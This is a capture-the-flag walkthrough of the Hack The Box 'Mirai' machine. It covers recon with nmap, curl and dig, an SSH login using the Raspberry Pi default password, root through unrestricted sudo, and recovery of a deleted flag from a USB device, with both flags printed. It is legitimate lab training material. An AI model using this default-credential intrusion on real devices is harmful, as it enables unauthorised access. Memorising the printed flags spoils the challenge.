

# ***mirai***

## ***nmap***

```
(root@kali)-[/Documents/htb/boxes/mirai]
└─# nmap -sC -sV -oA nmap/initial 10.10.10.48
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-28 22:29 EDT
Nmap scan report for 10.10.10.48
Host is up (0.19s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 6.7p1 Debian
5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
| 2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
| 256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_ 256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp    open  domain   dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp    open  http      lighttpd 1.4.35
|_ http-server-header: lighttpd/1.4.35
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/-submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.09 seconds
```

## ***Webpage***

```

(root@kali)-[/Documents/htb/boxes/mirai]
# curl -vvv 10.10.10.48
* Trying 10.10.10.48:80 ...
* Connected to 10.10.10.48 (10.10.10.48) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.10.10.48
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< X-Pi-hole: A black hole for Internet advertisements.
< Content-type: text/html; charset=UTF-8
< Content-Length: 0
< Date: Mon, 29 Mar 2021 02:40:20 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 10.10.10.48 left intact

(root@kali)-[/Documents/htb/boxes/mirai]
#

```

## Request

Raw Headers Hex

Pretty Raw \n Actions

```

1 GET / HTTP/1.1
2 Host: 10.10.10.48
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept:
text/html,application/xhtml+xml,application/xml;
q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9 Cache-Control: max-age=0
10
11

```

## Response

Raw Headers Hex

Pretty Raw Render \n Actions

```

1 HTTP/1.1 404 Not Found
2 X-Pi-hole: A black hole for Internet advertiser
3 Content-type: text/html; charset=UTF-8
4 Content-Length: 0
5 Connection: close
6 Date: Mon, 29 Mar 2021 02:42:55 GMT
7 Server: lighttpd/1.4.35
8
9

```

```
1 GET / HTTP/1.1
2 Host: test
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9 Cache-Control: max-age=0
10
11
```

## RESPONSE

HTTP/1.1 200 OK

X-Pi-hole: A black hole for Internet advertisements.

Content-type: text/html; charset=UTF-8

Connection: close

Date: Mon, 29 Mar 2021 02:44:42 GMT

Server: lighttpd/1.4.35

Content-Length: 4326

<!DOCTYPE html>

<html>

<head>

<meta charset='UTF-8'/>

<title>Website Blocked</title>

<link rel='stylesheet' href='<a href="http://pi.hole/pihole/blockingpage.css">http://pi.hole/pihole/blockingpage.css'/>

<link rel='shortcut icon' href='<a href="http://pi.hole/admin/img/favicon.png">http://pi.hole/admin/img/favicon.png'

type='image/png'/>

<meta name='viewport' content='width=device-width,initial-scale=1.0,maximum-scale=1.0, user-scalable=no'/>

<meta name='robots' content='noindex,nofollow'/>

```

</head>
<body id="body">
<header>
    <h1><a href="/">Website Blocked</a></h1>
</header>
<main>
    <div>Access to the following site has been blocked:<br/>
    <span class='pre msg'>test</span></div>
    <div>If you have an ongoing use for this website, please ask the owner of the
Pi-hole in your network to have it whitelisted.</div>
    <input id="domain" type="hidden" value="test">
    <input id="quiet" type="hidden" value="yes">
    <button id="btnSearch" class="buttons blocked" type="button"
style="visibility: hidden;"></button>
    This page is blocked because it is explicitly contained within the following block
list(s):
    <pre id="output" style="width: 100%; height: 100%;" hidden="true"></-
pre><br/>
    <div class='buttons blocked'>
        <a class='safe33' href='javascript:history.back()'>Go back</a>
        <a class='safe33' id="whitelisting">Whitelist this page</a>
        <a class='safe33' href='javascript>window.close()'>Close window</a>
    </div>
    <div style="width: 98%; text-align: center; padding: 10px;" hidden="true"
id="whitelistingform">
        <p>Note that whitelisting domains which are blocked using the
wildcard method won't work.</p>
        <p>Password required!</p><br/>
        <form>
            <input name="list" type="hidden" value="white"><br/>
            Domain:<br/>
            <input name="domain" value="test" disabled><br/><br/>
            Password:<br/>
            <input type="password" id="pw" name="pw"><br/><br/>
            <button class="buttons33 safe" id="btnAdd"
type="button">Whitelist</button>
        </form><br/>
        <pre id="whitelistingoutput" style="width: 100%; height: 100%; padding:
5px;" hidden="true"></pre><br/>
    </div>
</main>
<footer>Generated Mon 2:44 AM, Mar 29 by Pi-hole v3.1.4</footer>
<script src="http://pi.hole/admin/scripts/vendor/jquery.min.js"></script>
<script>
// Create event for when the output is appended to
(function($) {
    var origAppend = $.fn.append;

```

```

$.fn.append = function () {
    return origAppend.apply(this, arguments).trigger("append");
};
})(jQuery);
</script>
<script src="http://pi.hole/admin/scripts/pi-hole/js/queryads.js"></script>
<script>
function inIframe () {
    try {
        return window.self !== window.top;
    } catch (e) {
        return true;
    }
}

```

// Try to detect if page is loaded within iframe

```

if(inIframe())
{
    // Within iframe
    // hide content of page
    $('#body').hide();
    // remove background
    document.body.style.backgroundImage = "none";
}
else
{
    // Query adlists
    $( "#btnSearch" ).click();
}

```

```

$( "#whitelisting" ).on( "click", function(){ $
( "#whitelistingform" ).removeAttr( "hidden" ); });

```

// Remove whitelist functionality if the domain was blocked because of a wildcard

```

$( "#output" ).bind("append", function(){
    if($( "#output" ).contents()[0].data.indexOf("Wildcard blocking") !== -1)
    {
        $( "#whitelisting" ).hide();
        $( "#whitelistingform" ).hide();
    }
});

```

```

function add() {
    var domain = $("#domain");
    var pw = $("#pw");
    if(domain.val().length === 0){

```

```

        return;
    }

    $.ajax({
        url: "/admin/scripts/pi-hole/php/add.php",
        method: "post",
        data: {"domain":domain.val(), "list":"white", "pw":pw.val()},
        success: function(response) {
            $( "#whitelistingoutput" ).removeAttr( "hidden" );
            if(response.indexOf("Pi-hole blocking") !== -1)
            {
                // Reload page after 5 seconds
                setTimeout(function(){window.location.reload(1);}, 5000);
                $( "#whitelistingoutput" ).html("---> Success <---<br/>You may
have to flush your DNS cache");
            }
            else
            {
                $( "#whitelistingoutput" ).html("---> "+response+" <---");
            }

        },
        error: function(jqXHR, exception) {
            $( "#whitelistingoutput" ).removeAttr( "hidden" );
            $( "#whitelistingoutput" ).html("---> Unknown Error <---");
        }
    });
});

// Handle enter button for adding domains
$(document).keypress(function(e) {
    if(e.which === 13 && $("#pw").is(":focus")) {
        add();
    }
});

// Handle buttons
$("#btnAdd").on("click", function() {
    add();
});
</script>
</body>
</html>

```

**DNS NAME EXPOSED : pi.hole**

```

(root@kali)-[/Documents/htb/boxes/mirai]
# dig @10.10.10.48 pi.hole

; <<>> DiG 9.16.11-Debian <<>> @10.10.10.48 pi.hole
; (1 server found)
;; global options: +cmd
;; Got answer:
;; -->HEADER<-- opcode: QUERY, status: NOERROR, id: 62240
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;pi.hole.                IN      A

;; ANSWER SECTION:
pi.hole.                 300     IN      A      192.168.204.129

;; Query time: 151 msec
;; SERVER: 10.10.10.48#53(10.10.10.48)
;; WHEN: Sun Mar 28 22:44:59 EDT 2021
;; MSG SIZE rcvd: 52

```

## Request

Raw Headers Hex

Pretty Raw \n Actions

```

1 GET / HTTP/1.1
2 Host: pi.hole
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
  Gecko/20100101 Firefox/78.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,
  image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9 Cache-Control: max-age=0
.0
.1

```

## Response

Raw Headers Hex

Pretty Raw Render \n Actions

```

1 HTTP/1.1 301 Moved Permanently
2 Location: /admin/
3 Content-Length: 0
4 Connection: close
5 Date: Mon, 29 Mar 2021 03:18:57 GMT
6 Server: lighttpd/1.4.35
7
8

```

```

(root@kali)-[/Documents/htb/boxes/mirai]
# geany /etc/hosts

```

Symbols	decrypt.py	hosts
symbols found	1	127.0.0.1 localhost
	2	127.0.1.1 kali
	3	10.10.10.48 pi.hole
	4	
	5	# The following lines are desirable for IPv6 capable hosts
	6	::1 localhost ip6-localhost ip6-loopback
	7	ff02::1 ip6-allnodes
	8	ff02::2 ip6-allrouters
	9	


```







(root🐼kali)-[/Documents/htb/boxes/mirai]
# ping pi.hole
PING pi.hole (10.10.10.48) 56(84) bytes of data.
64 bytes from pi.hole (10.10.10.48): icmp_seq=1 ttl=63 time=245 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=2 ttl=63 time=268 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=3 ttl=63 time=186 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=4 ttl=63 time=204 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=5 ttl=63 time=230 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=6 ttl=63 time=255 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=7 ttl=63 time=273 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=8 ttl=63 time=190 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=9 ttl=63 time=206 ms
64 bytes from pi.hole (10.10.10.48): icmp_seq=10 ttl=63 time=236 ms
^C
--- pi.hole ping statistics ---
10 packets transmitted, 10 received, 0% packet loss, time 9025ms
rtt min/avg/max/mdev = 186.448/229.243/272.513/29.773 ms

```



Back The Box :: Machines x 10.10.10.48/ x Pi-hole Admin Console x +

→ ↺ 🏠  pi.hole/admin/ ...

ali Linux  Kali Training  Kali Tools  Kali Forums  Kali Docs  NetHunter  Offensive Security

## Pi-hole

☰

**Status**

- Active
- Load: 0 0.01 0.05
- Memory usage: 34.3 %

NAVIGATION

- Dashboard
- Login
- Donate

**0**

Queries Blocked Last 24 Hours

**822**

Queries Last 24 Hours

**0.0%**

Queries Blocked Last 24 Hours

```
(root@kali)-[/Documents/htb/boxes/mirai]
# ssh pi@10.10.10.48
The authenticity of host '10.10.10.48 (10.10.10.48)' can't be established.
ECDSA key fingerprint is SHA256:UkDz3Z1kWt205g2GRlullQ3UY/cVIx/oXtiqLPXiXMY.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.48' (ECDSA) to the list of known hosts.
pi@10.10.10.48's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

pi@raspberrypi:~ $
```

password : raspberry

```

pi@raspberrypi:~$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),117(i2c),998(gpio),999(spi)
pi@raspberrypi:~$ ls
background.jpg Desktop Documents Downloads Music oldconffiles Pictures Public python_games Templates Videos
pi@raspberrypi:~$ cd Desktop/
pi@raspberrypi:~/Desktop$ ls
Plex user.txt
pi@raspberrypi:~/Desktop$ cat user.txt
ff837707441b257a20e32199d7c8838d
pi@raspberrypi:~/Desktop$

```

USER.TXT : ff837707441b257a20e32199d7c8838d

```

pi@raspberrypi:/home$ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL
pi@raspberrypi:/home$

```

pi may run all command as root

```

pi@raspberrypi:/home$ sudo su -

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.

root@raspberrypi:~#

```

```

root@raspberrypi:~# ls
root.txt
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:~#

```

```

root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
root@raspberrypi:~# df -lh
Filesystem      Size  Used Avail Use% Mounted on
aufs            8.5G  2.8G  5.3G  34% /
tmpfs           100M  4.8M   96M   5% /run
/dev/sda1       1.3G  1.3G    0 100% /lib/live/mount/persistence/sda1
/dev/loop0     1.3G  1.3G    0 100% /lib/live/mount/rootfs/filesystem.squashfs
tmpfs           250M    0  250M   0% /lib/live/mount/overlay
/dev/sda2       8.5G  2.8G  5.3G  34% /lib/live/mount/persistence/sda2
devtmpfs        10M    0   10M   0% /dev
tmpfs           250M  8.0K  250M   1% /dev/shm
tmpfs           5.0M  4.0K   5.0M   1% /run/lock
tmpfs           250M    0  250M   0% /sys/fs/cgroup
tmpfs           250M  8.0K  250M   1% /tmp
/dev/sdb        8.7M   93K   7.9M   2% /media/usbstick
tmpfs           50M    0   50M   0% /run/user/999
tmpfs           50M    0   50M   0% /run/user/1000

```

/dev/sdb        8.7M   93K   7.9M   2% /media/-  
usbstick

```
root@raspberrypi:~# cd /media/usbstick
root@raspberrypi:/media/usbstick# ls
damnit.txt  lost+found
root@raspberrypi:/media/usbstick# cat damnit
cat: damnit: No such file or directory
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James
root@raspberrypi:/media/usbstick#
```

```
root@raspberrypi:/media/usbstick/lost+found# strings /dev/sdb
X;a`X;a`
>r 8
/media/usbstick
lost+found
root.txt
damnit.txt
>r 8
>r 8
/media/usbstick
lost+found
root.txt
damnit.txt
>r 8
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r 8
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James
```

ROOT.TXT = 3d3e483143ff12ec505d026fa13e020b

```
root@raspberrypi:/media/usbstick# xxd /dev/sdb | grep -v '0000 0000 0000 0000 0000 0000 0000 0000'
```

dont show data with 0s

```
080a800: 3364 3365 3438 3331 3433 6666 3132 6563 3d3e483143ff12ec
080a810: 3530 3564 3032 3666 6131 3365 3032 3062 505d026fa13e020b
080a820: 0000 0000 0000 0000 0000 0000 0000 0000
```